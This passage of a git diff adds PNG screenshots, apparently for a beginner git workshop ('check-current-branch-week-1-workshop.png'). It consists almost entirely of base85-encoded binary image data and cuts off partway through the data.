z>j!$h=(Nww2cT!~ykw|r0<6XVLjos{V6J9jfBpIMtc8|Jq&%?ZGo(fKiCV!KF!-N0 zlDW}$jNE6mJSIy%4kj4ZkED#;46=0B8H;-(ISU87m@uLwxfAG6CYNdHCh1>B2c`rX z63C7ht|PbAhi_-&ejhG$EPg35%p#Ea#@*gr-K@!So1h&+uDMRcRR1w#8ZDO2i_F4} zxR{aSOqMk4;`>zv)=0e*aMN1TX*9b`a4k}kO#eok@q3$RE*BP8yaRLc)l?woT>8lV zyxMJ@|78`?@FXf(NFIcKyfP!4B$u^{xhOau`d5iRaf~ZVPWql(KR1LKg88N5 zfdLU8~}~&#|0V_+kC8kNCgq3uKq@te?Xm<1hU8``7GY^ZNKT#$Vj+ zzYNd|k^jFe3IEChn4Yv?3QTF+df1{&#Xx^r&&S)<1=^c3SSZ$wIl0p7N8HQH%J|~G z>CACkZ@sY?{QtTh{<*LrF$CW=GqyB%yJ5HhMWnz{dje5%$iU+zxEU6 zWHtckz|HC64cdBC4f%Y4_umd(k$8n7N#JI1nS8U!?)xFccKyRe!|F8#Z}k0|)Y`QQ zvo=m5r~;+QNOE40c-wQ*0uc}nBIp9y??s)iUYT74Yy`;I@8J$H-b-g}ko+uv2ZGnz z2TiJKlcVBHf|B^uw+NbPck>N3z1USBbY{<&z2SO)?Vq|HO0@zsx=3okc!b!J0PQPl~&L06833mMd0_ccDE#?-bP(s^!hY{tFDa B)o%a* literal 0 HcmV?d00001 diff --git a/git-day-1/check-current-branch-week-1-workshop.png b/git-day-1/check-current-branch-week-1-workshop.png new file mode 100644 index 0000000000000000000000000000000000000000..9748a7276604945286a4a931785ad719eceb4c8b GIT binary patch literal 144237 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 